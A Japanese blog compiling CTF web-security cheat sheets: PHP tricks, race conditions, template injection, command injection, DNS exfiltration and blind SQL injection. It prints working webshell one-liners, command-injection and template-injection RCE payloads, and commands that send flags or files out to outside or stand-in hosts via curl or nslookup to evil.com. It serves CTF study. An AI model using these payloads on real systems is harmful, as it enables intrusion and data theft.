はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるPHPまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の17日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Webサーバのフロントエンド(最近はそうでもないか)、バックエンドとして普及しているPHPにはセキュリティ的課題が多い。

  • <?php eval($_POST['cmd']); ?>となりうるコードがあると危険
  • ワンライナー一覧
    • RCE passthru("cat /f*") system("ls -la ./"); <?='cat /flag'; <?=`$_GET[0]`; ?> <?php system($_GET["c"]); ?>
    • ls foreach(new DirectoryIterator('glob:///*') as $f){ echo $f."\n"; } print_r(scandir('./')); var_dump(scandir("/var/www/html")); scandir(__dir__) opendir() readdir()
    • cat readfile(glob('*')[0]); eval(system('cat / flag')); show_source('./flag.txt');
      • 試してない file_get_contents('f1@g.txt')
      • base64で出したい var_dump(base64_encode(readfile("../../../flag.so")));
      • includeで引っ張れたりもする include '/etc/f1@g.txt';
      • $process = proc_open('/flag_x', array(1=>array("pipe","w")), $pipes); echo stream_get_contents($pipes[1]);
    • 定義済み配列をすべて出す print_r(get_defined_vars())
    • ブラインドRCE $output=shell_exec(\"ls\");shell_exec(\"curl -XPOST -d'data=$output' [url]"\"); ここ
  • phpファイルを動かすには
  • artyuum/Simple-PHP-Web-Shell: Tiny PHP Web shell for executing unix commands from web page
    • 便利なWebShell
  • xorを使ったバイパス方法がある
    • eval("echo ".eval("return ".$_GET["calc"].";").";");
      • こういう感じで1回実行されて、さらに実行されれば使える
      • '^()が使えれば大体は作れる
    • ('??????'^'??????'^'??????')のように3つの文字列のxorで大体作れそう
    • CTF-Writeup/README.md at main · vichhika/CTF-Writeup
      • 良い感じのジェネレータを公開してくれてる
  • 4*4とか入れて16とか出てきたらプログラムとして解釈されている恐れがある
    • 試しにsystem(ls)とかを入れてみて、動くか見てみる
  • source
  • 画像ファイルのヘッダーを見てアップロード可能かを決めてる場合にヘッダーだけ付け替えてバイパスする
  • eval("echo 'Hello ".$a."<br>$flag';");で実行する
    • ',system('id'),'でidで普通に実行できる
    • ',('system')('id'),'こうしてもidが実行可能 ',('system')('id'+),'
    • ペイロード
      • ',('system')('ls+/'+),'
      • ',('system')('od+/*'+),'
  • 限られた文字でPHPコード実行をする
  • LFI: Local File Injection
    • 例えば?page=homeとか?page=ab.phpとかなっていれば、LFIが使える場合がある
    • PHP的には12($_GET['page']);のような感じになっている
    • LFIの詳細については、別途ページで記載予定。簡単に今は書いておく
  • include先でechoしているものはechoされた後のコードで得られる
    • echo $_GET['a']; include($_GET['b']);というindex.phpがあるとする。
    • /index.php?b=http://localhost/index.php/?a=%3C?system(%22ls%22);?%3EでRCE成立
  • Unsafe Deserialization
  • XXE
    • simplexml_load_string関数
  • SQL Injection
  • PHP Type Juggling
    • PHPの比較は弱いことが知られている
    • !strcasecmp($_POST['flag'], $flag), strcmp($_POST['password'], $password) == 0
      • 実はバイパス可能
      • $_POST['flag'] = []となるようにPOSTで与えてやれば、全体をtrueにすることができる
      • 配列を渡すにはflag%5B%5D=こんな感じにすればいい(flag[]=のURLエンコーディング後)
      • htmlでは<input type="hidden" name="flag[]" value=""/>こんな感じ
    • '1234a' == 1234は真となる
      • でもis_numeric('1234a')はしっかりfalseなので、is_numericのバイパスに使える
      • "1abc" == "0abc" + 1も真(!) ここ
    • magic hash
      • '0e????' = '0'が成り立つ。左辺はMD5ハッシュで出てくる可能性があるので、ハッシュを調整してこの状態を作る問題がある
        • ?には0-9が入る必要がある
      • この問題では、./flag.txt, .//flag.txt, .///flag.txtのようにスラッシュを増やしていっても問題ないことを利用してハッシュを変えて全探索していた
        • 881回スラッシュで出てきた
      • magic hash一覧 https://github.com/spaze/hashes
        • MD5 QNKCDZO 240610708
        • SHA256 34250003024812 aaroZmOk 0e9682187459792981
    • 0は000.0
  • parse_url関数
    • バージョンによってはhttp://websec.fr/level25/index.php?page=main&send=%E9%80%81%E4%BF%A1&a=1:2が失敗する
    • :が値に入っていると失敗する。失敗すると、戻り値がnullになる
  • $_SERVER['PHP_SELF']とbasename関数
    • Injection可能 $_SERVER['PHP_SELF']は危険? - [PHP + PHP] ぺんたん info
    • basename関数は、localeを適切に設定しないと、マルチバイト文字を無視する仕様になっている
      • より具体的には\x80-\xffを無視する?
    • 以下実験メモ
      • http://localhost/index.php/config.php
        • $_SERVER['PHP_SELF'] = /index.php/config.php
        • basename($_SERVER['PHP_SELF']) = config.php
      • http://localhost/index.php/config.php/a
        • $_SERVER['PHP_SELF'] = /index.php/config.php/a
        • basename($_SERVER['PHP_SELF']) = a
      • http://localhost/index.php/config.php/あ?source ※ %E3%81%82 = あ
        • $_SERVER['PHP_SELF'] = /index.php/config.php/あ
        • basename($_SERVER['PHP_SELF']) = config.php
  • $address = filter_var($address, FILTER_VALIDATE_EMAIL);でメールアドレスチェック
    • ""@a.bとすると通る
    • 例えば"'whoami'"@example.comとすると、whoamiが解釈されて"markus"@example.comとなったりする
    • '||1#@i.iもvalid(SQLinjectionで成功する)
    • RCEもある
      • "attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.coこんな感じ?ちょっと分からない
  • エラーについて
    • エラーを出したいとき(未検証)
      • error_reporting(E_ALL); ini_set('error_reporting', E_ALL); ini_set('display_errors', '1');
    • エラーを表示させない
      • ini_set("display_errors", 0);
  • GETリクエストの解釈違い
    • ?username=abc&username=efgとなった場合
      • $_GET["username"] -> efg
      • new URL(location).searchParams.get("username") -> abc
  • PHPでリダイレクトをしたらdie,exitを呼び出しなさい
  • PHPのgetパラメタ配列化Attack
    • CTFtime.org / Chujowy CTF 2020 / SHA256 Collision
      • https://web5.chujowyc.tf/?a[]=0&b[]=1で突破可能
      • $ha = hash("sha256", $_GET['a']); // $ha === null
      • $_GET['a'] !== $_GET['b']のように配列の===比較では中身までちゃんと見てくれる
  • .user.ini
  • ob_start関数
    • バッファを一旦保持しておいて、決まったタイミングでflushする機構
    • ob_startで保持されたバッファは、fatal errorが発生すれば強制的にflushされたりする
      • CTFtime.org / 3kCTF-2020 / xsser
      • この問題では、unserialize関数でO:11:"Traversable":0:{}を入れてfatal errorを起こしていた
        • Traversableクラスは抽象クラスなので、抽象クラスを作ろうとしてfatal errorが出てくる
  • is_numeric
    • 数値の前に%09, %20,%0a,%0b,%0c,%0dが来てもtrueになる
    • trueになるやつ 1e9
  • preg_replace関数/str_replace
    • 1回しかreplaceしないので、selSELECTectみたいにすればバイパスされてしまう
    • preg_replaceに任意入力できる場合はRCEの危険性がある
      • Command Execution | preg_replace() | RCE | Roshan Cheriyan | Medium | Medium
        • echo "replaced : ".preg_replace($_GET['pattern'], $_GET['replacement'], $_GET['subject']);となってる場合
        • index.php?pat=/a/e&rep=phpinfo();&sub=abcとやればphpinfo();が実行される
        • index.php?pat=/a/e&rep=system(‘id’);&sub=abc
          • 平たく言うとpreg_replace("/a/e", "system(‘id’);", "abc");となる
        • 緩和策も書いてある
  • md5関数の誤用
  • $_SERVER['HTTP_X_FORWARDED_FOR']
    • リクエストHTTPのヘッダーで外部から自由にインジェクション可能
    • X-Forwarded-Forヘッダーで入れればいい
  • time()
    • Unixタイムスタンプを返すので、類推可能
    • 例えば、2020/11/18 20:54:21(JST)なら$time = (new DateTime('2020-11-18 20:54:21', new DateTimeZone('Asia/Tokyo')))->format('U');Unixタイムスタンプが得られる
    • ID推測とかで使用するときは、Burpに残ってる時間ピッタリだけでなく、周りの時間が使われている可能性も考えること(秒単位でクライアント・サーバが一致していないかも)
    • CTFtime.org / SPbCTF's Student CTF 2020 Quals / eSick
      • この問題では、timeとuuidからファイル名を類推するが、timeがどれかが微妙にわからないので候補を全部作って、BurpのIntruderを使ってヒットするものがないか探す
  • mysqli_real_escape_string
  • バイパステク:他の入力を持ってくる
  • 攻撃コードに書いてあったコードについて
    • error_reporting(0); エラーを出さない
    • set_time_limit(0); 実行時間を無限にする
      • 設定は上書きされるっぽいので、設定でなんとかするのは難しそう
  • バッファを使い切ってHeader出力を抑制するテク
    • Write-ups to justCTF [*] 2020 by @terjanq - HackMD
    • PHPではheader出力の前に画面出力をしてはならないのだが、バッファ機能が有効である場合、画面出力のあとにheader出力をしてもバッファしてあれば差し込むことができる
    • だが、header出力をして差し込む前に、バッファのサイズ上限まで出力されていた場合は容量不足で差し込むことができず、headerが消滅する
    • このwriteupでは、それを利用してCSPヘッダーを差し込ませないようにしている
    • バッファのサイズ上限まで出力させるには、エラーメッセージを用いている
  • $_SERVER
    • REQUEST_URI
      • ページにアクセスするために指定されたURIを指すので、
      • GET http://localhost/test.php?query=value#fragment HTTP/1.1みたいにするとhttp://localhost/test.php?query=value#fragmentとなる
    • HTTP_HOST
      • リクエストにHostヘッダーがあった場合にそれが入る。偽装可能
  • GET Parameterのkeyにdot,spaceを入れると、underscoreに自動変換される
  • 古いPHPだと結構ヌルバイト攻撃が有効っぽい(未確定)
  • PHPトークン生成には単にCSPRING(暗号論的に安全な疑似乱数生成装置)を使うこと
    • ハッシュ化するとか余計なことをすることで脆弱性が入り込みやすくなる
    • PHP7以降ではrandom_bytes関数を使うだけ
    • mt_rand関数を引数無しで呼ぶと、31ビットの範囲になるからエントロピーが不足する(128bits以上がデファクトスタンダード
  • PHP assert() Vulnerable to Local File Inclusion – All things in moderation
    • assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
    • assert("strpos('', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!
      • $file = ', 'qwer') === false && strlen(file_get_contents(“../../../../../etc/passwd”)) == 0 && strpos(‘1をやった結果
    • NahamCon CTF 2021 - Capture The Flag (CTF)
      • assert("strpos('$file', '..') === false") or die("HACKING DETECTED! PLEASE STOP THE HACKING PRETTY PLEASE");' .system("id"). 'を入れる
  • .phpsPHPソースコードファイルとして使える拡張子
  • open_basedirのバイパス手法
  • new finfo(1, '.');とやればとあるディレクトリ下のファイルを無理やり読み込ませて、エラー情報から内容を得ることができる
    • Securinets CTF Quals 2021 の writeup - st98 の日記帳
    • finfo __constructでmagic_fileというオプションがmagic database fileを取得するために、特定のディレクトリにあるすべてのファイルを解析してくるようだ。ここmagic_fileオプション別のパスを与えると解析してくるファイルのフォーマットが合わず、警告を使用してファイルの内容を出力してくれるようだ。ちなみにfinfo classはfinfo関数のオブジェクト
      • まあ実行すると、全部解析してくれて、フォーマットが合わないから警告が出るけど、そこに情報が出ちゃうからファイルパスが抜けるんだろう
  • $_REQUEST$_GET,$_POST,$_COOKIEの内容をまとめた連想配列
    • こういういろんな所からデータ取れるものは意図せずデータインジェクションが発生しうるので使うのはやめといたほうがいい
  • idn_to_ascii
  • create_function関数
  • mail関数を使ったbypassテク
  • glob関数は先頭がドットのファイルは取ってこないので、foreach (glob("temp/$dname/*") as $file) { @unlink($file); }こういうので削除を回避できる
  • @rmdir("temp/$dname");は中身に何か残ってたら失敗する
  • @move_uploaded_file関数は引数のパスが長いと失敗する。300文字くらいで失敗するらしい
  • FFIについて
    • PHPからdllファイルを読み込んで実行できる機構
    • $ffi = FFI::load('/flag.h');$a = $ffi->flag_fUn3t1on_fFi();var_dump(FFI::string($a));みたいな感じ
    • メモリ抜き出しも行える
    • FFIでRCEしたいとき(PHP 7.4.X以下ならFFIを経由することでdisable_functionsをbypassできる) <?php $ffi=FFI::cdef("int system(const char *command);"); $ffi->system('ls'); ?>
  • OPcache
    • PHPのキャッシュ機構
    • 攻撃手法
      1. phpinfoを見て、opcacheが有効か確認
      2. opcache.file_cache = /var/www/cache/ならば/var/www/cache/[system_id]/var/www/html/flag.php.binを探せばいい。
      3. これのsystem_id_scraper.pyを使ってsystem_idを抜き出す python ./system_id_scraper.py http://carthagods.3k.ctf.to:8039/info.php
    • CTFtime.org / 3kCTF-2020 / carthagods
  • Phar, PHPアーカイブ

phpinfo

  • 見方
    • System: OSがWindowsLinux
    • Registered PHP Streams, Registered Stream Filters: 使えるストリームが分かる(php://とか)
    • extension_dir: php拡張モジュールのパス(いつ使う?)
    • short_open_tag: <?=,<? echo,<? ?>が使えるかどうか
    • disable_functions: 使えない関数が列挙されている
    • disable_classes: 使えないクラスが列挙されている
      • これをもとに使える関数・クラスを得たい場合は手元で全部使える状態で使えるやつを抜き出してdiffを見ればいい ```php <?php function get_diff($a, $b) { $a = file_get_contents($a); $a = str_replace(' ', '', $a); $a = explode(',', $a);

        return implode(', ', array_diff($b, $a)) . "\n"; }

      echo "functions: " . get_diff('disable_functions.txt', get_defined_functions()['internal']); echo "classes: " . get_diff('disable_classes.txt', get_declared_classes()); ```

    • open_basedir
      • ここにフォルダパスが書かれている場合は、ファイルオープンはこのパス以下じゃないとダメ。
      • でも、DirectoryIteratorを使えば任意の場所のlsができる。
      • FFI::loadもこれの影響を受けない。
    • SERVER_ADDR: サーバのIPアドレス
    • DOCUMENT_ROOT: ルートディレクト
      • linuxなら/var/www/htmlが普通?
    • session: セッションの設定が見られる(todo: 観点は?)
      • セッションが保存されている場所や使用可能な場所を確認することができる
    • gopher: これがあればSSRFできるかも
    • fastcgiが有効になってればRCEとかできたりする(todo: どうやって確認?)
    • allow_url_include: 有効ならLFIできる?(よくわかってない)
    • allow_url_fopen: 有効ならLFIできる?(よくわかってない)
      • urlで外部ファイルをfopenできるってだけ?
      • REMOTE FILE INCLUSIONというらしい
    • asp_tags: aspタグを解析するために有効になっている
    • magic_quotes_gpc: adslashes() のような文字をエスケープ
    • libxml 2.9 より前のバージョンでは、外部エンティティへの参照をデフォルトでサポートしていたため、XXEできる
    • opcacheはPHPコードをコンパイルしてキャッシュしておくもの
    • imapが有効なら、CVE-2018-19518かも
    • upload_tmp_dir: 一時ファイルが保存されているフォルダが表示されますが、ファイル名はランダム
  • 参考
  • php.iniのスキャナー

PHP難読化

  • YAK Pro
<?php
goto IF8nM; xf_W1: FNJF5: goto C3HKQ; FwMGj: echo $GPDVR; goto Caizj; rOdKz: r9mi3: goto EDaji;

こんな感じになる。根性で解読する。

CTFのWebセキュリティにおけるRace Condition

この記事はCTFのWebセキュリティ Advent Calendar 2021の16日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

レースコンディション Race Condition

どういう問題を発生させられるか

例えば、クーポンを使用する処理があって以下のようなフローになっているとする。

  1. クーポンがあるか確認
  2. クーポンを使用して、クーポンを消す

2つのプロセスで同一クーポンに対してリクエストをほぼ同時に投げたとする。
プロセスAとプロセスBにおいて、「A1 → B1 → A2 → B2」のような順番で処理が行われてしまうと、
クーポンは1つなんだけれど、クーポン使用が2回行われてしまう可能性がある。
このように、排他処理を適切に行わないことで、競合状態を発生させて、攻撃を行う。

  • 他問題
    • Race conditions
      • TOCTOU
      • コンテキスト外でオブジェクトが再利用される
      • 処理フロー内でオブジェクトが編集される
    • Deadlocks

体系的にはどんな問題に適用される?

  • 整合性チェックと実際の処理に時間差がある場合
  • 整合性チェックを行う場合に一般的に紛れ込むのかもしれない
  • 他にもロジックミスとしてrace conditionが絡んでいる場合もあり、一概に言えない

攻撃シナリオ

  • ファイルをアップロードして何かを行うサービス
    • サーバ側処理
        1. ファイルをtmpフォルダにアップロード
        1. アップロードファイルに対してサーバ側が処理を行う
        1. アップロードしたファイルを削除する
    • 攻撃
      • 1でファイルをアップロードするときにphpファイルをアップロードしておく。その直後、3で削除される前に参照して、任意コード実行を達成する
  • 購入サイト
    • サーバ側処理「お金があるか確認→購入処理→お金を減らす」
    • 同時に購入することでお金の消費は1回で複数個数買える場合がある
      • これはお金を減らす処理が「最初にお金があるか確認したものから金額を減らして更新する」場合に特に有効
  • 送金システム
    • サーバ側処理「送金→記録」
    • これも同時に行えば、お金の減りは1回だけど複数回送れたりする

tips

CTFのWebセキュリティにおけるSSTIまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の15日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Template Injection

  • テンプレートエンジン: データの表示場所を埋め込んだhtmlなどのテンプレートに対して、適切に変数の中身を埋め込んで出力するエンジン
    • この機能を悪用し、悪意ある文字列を入力することで、意図しない変数の中身を表示したり、RCEを起こしたりする脆弱性
    • クライアント側かサーバ側かで2通りある。
    • SSTI: Server-Side Template Injection, Server-Sideでテンプレートエンジンを動かして色々やる
    • CSTI: Client-Side Template Injection, Client-Sideでテンプレートエンジンを動かして色々やる

Server-Side Template Injection

まずはこれを試そう

Python

Java

  • Thymeleaf

javascript, node.js

  • Handlebars
    • {{変数名}}で変数の中身を出せる
    • グローバル変数の中身全部出る {{#each this}}{{@key}} => {{this.toString}}<br>{{/each}}
    • 参考になる → Built-in Helpers | Handlebars
    • registerPartialで指定されているレジスタを出力したいとき
      • hbs.registerPartial('FLAG', FLAG);とあれば、{{> FLAG}}
    • Defenit CTF 2020 の write-up - st98 の日記帳
      • FLAGという言葉はつかえないけど、FLAGを得たいとき
      • {{.}}で与えられている変数すべてをオブジェクトとして参照できる
      • {{#each .}}{{@key}}<br>{{/each}}のように#each というヘルパーを使えばオブジェクトに対して反復的に処理ができ、#each によって囲まれているブロックで @key という変数を使えば現在参照されているキーが得られる
      • {{#each .}}{{@key}}<br>{{/each}}で変数すべての名前が得られる
      • {{#each .}}{{#if (lookup . "toString")}}{{.}}<br>{{/if}}{{/each}}でその中でtoStringを持つものだけ出力する
  • ejs
    • RCE <%- global.process.mainModule.require('child_process').execSync('cat app.js') %>
    • LFI <%- include('../../../app.js') %>
    • <%= 7*7 %>
  • dust.js

Go

  • templates
    • template - The Go Programming Language
    • {{goWAF}}こういう感じの構文
    • goWAF
      • {{print "Test"}}とやると、Testが出力される。これは単にprint("Test")を呼んでいる感じ。こういう感じに関数呼び出しができる
      • 入れ子構造にしたいときは{{f(g "arg")}}みたいにすると、f(g("arg"))という呼び出しになる
    • Go SSTI Method Confusion
      • {{.System "id"}}でRCE達成
      • {{}.File "/etc/passwd"}でLFI達成
      • {{.}}で与えられてる変数が全部見れる
    • CTFtime.org / H@cktivityCon 2021 CTF / Go Blog
      • 全ページに表示される自分の名前部分にSSTIの脆弱性がある
      • 投稿サイトなのだが、投稿されたポストを見ると{{.Post.Author.Username}}のような感じでポスト者の情報がテンプレートに与えられている
      • なので、adminが投稿したポストを全ページにあるSSTIを利用して{{.}}とやるとadmin(投稿者)にまつわる色々情報が見えてしまう
      • この情報からadminのメールアドレスを抜き出す
      • .Post.AuthorはUser構造体になっていて、関数としてChangePasswordを持っている
      • SSTIでメソッドを呼び出すこともできるので、{{.Post.Author.ChangePassword "NewPassword"}}とすればパスワード変更ができ、TakeOver

Client-Side Template Injection

  • できてXSSな気がするが…
  • 以下のようなエンジンが狙われる
    • AngularJS
      • dangerouslySetInnerHTMLが肝らしいがよくわかってない
    • ReactJS

CTFのWebセキュリティにおけるCommand Injectionまとめ(Linux, Windows, RCE)

この記事はCTFのWebセキュリティ Advent Calendar 2021の14日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

RCE/コマンドインジェクション

  • RCE: Remote Code Execution
    • 遠隔で意図しないコードを走らせることでシステムを侵害するもの
    • コマンドインジェクションは、コマンドインジェクションができるとRCEできてしまうみたいな繋がり
  • RCEの契機

実行時に使えるコマンドについて

Linux

  • よく使う
    • id 実行ユーザーなどの実行情報が得られる。これをコマンドインジェクションのテストに利用しているのをよく見かける
    • env > dump.txt 環境変数持ってくる。Dockerで作られている場合は環境変数にデータが入ってる時がよくある
    • cat [file] fileの中身を画面出力する
      • cat * フォルダのファイルをすべてcatしてくる
      • cat /opt/flag.txtの代わりecho `</opt/flag.txt`echo $(</opt/flag.txt)
  • findテク
    • find / -name "user.txt" 2>/dev/null user.txtというファイルを探してくる
    • find . -type f -exec cat {} + フラグを検索してくるコマンド
    • find / -iname "*flag*" flagという名前の入ったファイル名を探してくるコマンド
    • find / -name user.txt 2>/dev/null user.txtというファイルのパスを探してくるが、エラーが沢山出るときは、/dev/nullに出力して消している
    • find / -name mattermost 2>/dev/null mattermostの設定ファイルを探したいみたいなときはこういうのをやってみる
    • find / -name "user.txt" -exec md5sum {} \; 2>/dev/null 検索結果すべてについてmd5ハッシュ取得したいとき
    • find . -type f -exec tail -n+1 {} + 現在の階層以下のファイルをファイル名付きで中身を表示する
  • 持ってきて外部送信する
    • cat /flag | curl [url] -X POST -d @-
    • cat /flag | base64 | curl [url] -X POST -d @-
    • curl http://mydomain:8080/$(ls flag*)
  • ls
    • ls -la 大体これでいい
    • ls -alps 最終進化系
    • echo opt/*とするとls opt/の代わりに使える
    • head /*とするとls /の代わりに使えるし、中身も表示させる
    • ls -R 再帰的にフォルダの中身を確認できる -Raとすれば隠しフォルダも入る
  • 未分類
    • | less -R 色付きでlessできる
    • echo "[userpass]" | su [username] -c "[command]"
      • あるユーザー権限でコマンド実行したいとき
    • grep flag $(find $PWD -maxdepth 1 -type f -name main.py) | tee '/uploads/flag.txt'
      • $PWDはカレントディレクトリを指し、カレントディレクトリを深さ1でmain.pyという名前のファイルを探してくれる
      • そこから更にgrepでflagが入っている行を探してくる
      • それをパイプでteeコマンドに送り、アップロードフォルダ(ユーザーが直接参照可能な任意のフォルダ)に吐き出している
    • echo '{encoded}' | base64 -d | bash
      • base64化したコードが実行可能
    • base64 req.php
    • wget <webhook-url> これでRCE達成できてるかを確認できる
    • su [username] ユーザー変更
    • grepBinary file (standard input) matchesと言われたときはgrep-aオプションを使えばいい
    • ホスト側でsudo tcpdump -i eth0 icmpとして攻撃側でping [myip]を試すとパケットが来るかで実行できたか判断がつく
    • hostname -i 自身のIPアドレス取得
    • cat all.txt | grep -v "^#" | wc -l 先頭が#の行を削除して行数数えてる
    • grep -l phishing@email.com /home/ranger/Desktop/data/* phishing@email.comが含まれるファイルを探してくる
    • $(env | grep FLAG)でうまくとってこれなかったら、$(env | grep FLAG | base64)で取ってこれたことがある
  • 普通の操作
    • grep [検索したい文字列] -rl [検索対象フォルダのパス] 検索パス配下に検索したい文字列が含まれるファイルをリスト化してくる
    • grep -ir '.*' * 今のフォルダ以下の中身を全部持ってこれるコマンド

Windows

  • whoami ただ単に確認したいとき
  • ipconfig
  • tasklist
  • netstat -an
  • C:\Windows\System32\cmd.exe
    • そのままコマンド使うとき C:\Windows\System32\cmd.exe /c [command]
  • C:\Windows\System32\hostname.exe
    • ホスト名を返す
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

コマンドインジェクション

  • コマンドインジェクション
    • OSコマンドインジェクションみたいにOSが付くときもある
    • RCEの一種で、OSコマンドを呼び出している部分にインジェクションすることで、任意コードを実行する
    • そんな状況あるか?という話だが、メール送信をコマンド頼りにしていたり、最近だとAIエンジンをpythonで作ってて、適当にコマンド呼び出しで実行してたりすると、ありそうかなという感じ。
  • お手軽に差し込む場合は||command||とすればいい
    • 差し込み後にA||command||Bとなった場合、Aが不完全なら異常終了となり、commandが実行される
    • commandが正常終了されるような感じになっていればBは実行されずに終わる
    • ; sleep 10;とか||sleep 10||が最初は良さそう(レスポンスがなくてもわかるし)
  • パイプ文字について
    • A | B Aの標準出力をBの標準入力につなげるやつ
    • A && B Aを実行して正常終了したら、B実行
    • A & B AとBを並列実行
    • A || B Aを実行して異常終了したら、B実行
    • A; B Aを実行して、Bを実行
  • ペイロード
  • `で囲むと実行できたりする
  • 改行することで複文実行できる可能性がある \ncat flag.txtみたいな感じ

名前付きパイプ

  • mkfifoで作成できる
    • lsをしたときに先頭がpとして出てくる
    • 出力しようとすると入力されるまで待つし、逆に入力しようとすると出力されるまで待つ

テクまとめ

  • $(pwd | cut -c1)を使うと、/になる
    • ctf/flag.txtと書きたいけど/がフィルターされてるならctf$(pwd | cut -c1)flag.txtと書ける
  • RCEできるけど文字列制限が厳しい場合
    • 分割輸送テク
      • rm /tmp/[randomstring]
      • echo -n '[command]' >> /tmp/[randomstring]でコマンドを分割輸送
      • sh /tmp/[randomstring]
    • wgetで輸送してくるテク
      • .sh .ch /tmpして.sh wget aaaa.ef/x
      • .sh chmod 777 /tmp/x
  • スペースが使えないとき
    • {echo,hello,world}みたいに書くと、hello worldと出力される
      • {cd,..}&&{ls,-la}&&{cat,--,-FLAG-2-of-2-.txt}
      • ||{cd,..}||{cd,~}&&{ls,-la,icons}"
      • ||{cd,..}&&{ls,-la}&&{cat,index.cgi}
  • cd ..を使うことで../が禁止されててもなんとかなる
  • コマンドの頭に\(バックスラッシュ)をつけると、alias を無視してコマンドを入力できる。
    • lsにエイリアスがついて意地悪されても\lsとすれば従来のlsが実行可能
  • tarコマンド
    • UTCTF: Tar Inspector | Debugmen
    • --to-commandというのがあり、tarファイルの中身のファイルを指してファイル実行ができる
      • evil.shというのを入れたtarファイルで--to-command=sh evil.shとすれば実行可能
    • 後ろでエラーが出てしまうときは--mtime=に全部押し込むとエラーを消せる
  • curlコマンド
  • 検索の後にpipeを差し込むことで実現できたりする。blind command injection
  • base64を使って文字種制限をバイパスする HactivityCon 2021 CTF Web challenge writeup - きなこもち。
    1. echo "base64-decoded payload" > /tmp/payload.txtペイロードを送り込む
    2. echo "import base64" > /tmp/shell.pyecho "exec(base64.b64decode(open('/tmp/payload.txt').read()).decode('utf8'))" >> /tmp/shell.pyで実行コード作成
    3. python3 /tmp/shell.pyで発動
  • Blind Command Injection
    • 外部の通信ができないが、エラー発生などからサイドチャネル的に情報を抜き出してくる
    • st98 の日記帳 - コピーのMicroservices As A Service 1
    • (ord(open('/flag.txt','r').read()[{i}]) %26 (1 << {j})) or 'a'という感じでビット演算を利用して1ビットずつ特定していく

言語/フレームワーク

PHP

Ruby

CTFのWebセキュリティにおけるDNS/ドメインまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の13日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

DNS

DNS Rebinding

OOB抽出

  • 表記について
    • リアルワールドバグハンティングではOOB抽出と記載されていた
    • Web上では、OOB ExploitationやらOOB Exfiltrationやら曖昧
  • 手法
      1. SSRFをして抜き出したい情報を掴む
      1. base32エンコードをしてpayloadを作る(URLは英数字しか入れられないからbase32にする)
      1. DNSサーバを用意する evil.com
      1. nslookup payload.evil.comすると、DNS解決をしに行くので、payload込みでevil.comに情報が送られて流出する
  • Lab: Blind OS command injection with out-of-band data exfiltration | Web Security Academy

Subdomain Takeover

tips

CTFのWebセキュリティにおけるサイドチャネル攻撃まとめ(Blind SQL Injection, XSLeak)

この記事はCTFのWebセキュリティ Advent Calendar 2021の12日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

  • サイドチャネル攻撃
    • 「物理的な特性を外部から観察あるいは測定することで情報を取得すること」らしい(Wikipediaより)
    • 自分は間接的な情報を利用することで(正攻法ではない方法で)情報を得ようとすること全般を指して呼んでいるのだが、正しいだろうか?
  • ラクル攻撃
    • ラクル:神託器
    • 違いについてハッキリ理解できてない。サイドチャネル攻撃で使える情報を提供してくれる対象をオラクルと呼んでいたが、サイドチャネル攻撃とオラクル攻撃で分けられているので、ニュアンスが違う?この辺り誰か記事書いて説明して!

Blind SQL Injection

  • Blind SQL Injection | OWASP
    • SQL Injectionの一種で、画面上に結果が表示されていなくても、SQLの実行結果のyes/noによって情報を抜き取るもの。

たぶんlikeを使ったものが一番わかりやすい。

SELECT * FROM users WHERE pass = '[ユーザー入力部分]'

となっているときに' UNION SELECT * FROM users WHERE pass like 'a%と差し込むと、

SELECT * FROM users WHERE pass = '' UNION SELECT * FROM users WHERE pass like 'a%'

となる。こうすると、passwordがaから始めるならレコードが帰ってくることになる。
レコードがあればログイン成功、なければ失敗というシステムであれば、
パスワードがaから始まるならログイン成功
パスワードがaから始まらないならログイン失敗
というオラクルが作れたことになる。これを使って全探索すると、パスワードの全文を特定することができる。 このように実際に結果を取得できなくても、yes/noが判断できるならば情報を抜き出すことのできるテク。

  • いつ使える?
    • 基本的にはSQLiできるなら使える
  • 種類
    • Boolean-based Blind SQLi
      • 上の例で示したようなレスポンスではっきりyes/noが分かるようなもの
      • 色々な種類がある(ログインの成功失敗、HTTPレスポンスコードの違い、エラーの出る出ない、数の増減…)
    • Error-based Blind SQLi
      • 条件がtrueなら意図的にエラーが発生するようなSQL文を書くことで、エラーの発生有無でyes/noを判断する
    • Time-based Blind SQLi
    • Out-of-band
      • ここに書いてあるけど、よくわからない。たぶん応答じゃなくて、どっかにcurlするとかって話だと思う。
  • 参考

Error-based Blind SQL Injection

  • 条件分岐させる
    • IF構文を使う
      • 適当にWHEREの条件にでもif(見たい条件,エラー発生文,エラー未発生文)を書けばいい
      • ' or id = 'admin' and if({md} <= length(pw), (select 1 union select 2), 2) #
    • A or B ここ
      • AがtrueならBは評価されないので、Bにエラーを書いておけばtrueならエラーが出ないようにできる
      • A and Bで逆をしてもいい
      • ({md} <= length(pw) and (select id union select 2))
      • なぜかうまくいかなかったりする。
    • whereに条件を入れて、select内容にエラー発生原因を埋め込む ここ
      • (select exp(1783) where {md} <= length(pw))これをWhereの中にでも入れておく
      • exp(1783)はオーバーフローエラーを引き起こす
    • case when構文を使う
      • case when pw like '0%' then 1 else 9e307*2 endみたいに使う
      • if構文と違ってかっこがいらない
  • エラーを出すには
    • exp(1783)が短い。
    • Subquery returns more than 1 rowエラー
